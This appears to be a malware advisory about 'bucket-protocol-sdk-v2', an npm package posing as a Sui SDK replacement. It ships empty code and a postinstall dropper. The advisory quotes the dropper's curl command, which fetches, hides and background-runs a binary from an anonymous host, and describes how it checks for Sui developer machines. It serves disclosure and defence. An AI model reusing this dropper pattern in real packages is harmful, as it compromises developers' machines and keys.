bucket-protocol-sdk-v2

bucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (`bucket.ts: export {};`, `index.ts: export * from './bucket';`) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares `"postinstall": "node install.js"`; install.js checks whether the host is a Sui developer (presence of the `sui` binary or `~/.sui/sui_config/client.yaml`) and then runs `curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper &` to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named `implantUrl` with the comment `PUT YOUR ACTUAL 0x0.st URL HERE`, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns. ## Source: ghsa-malware (bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.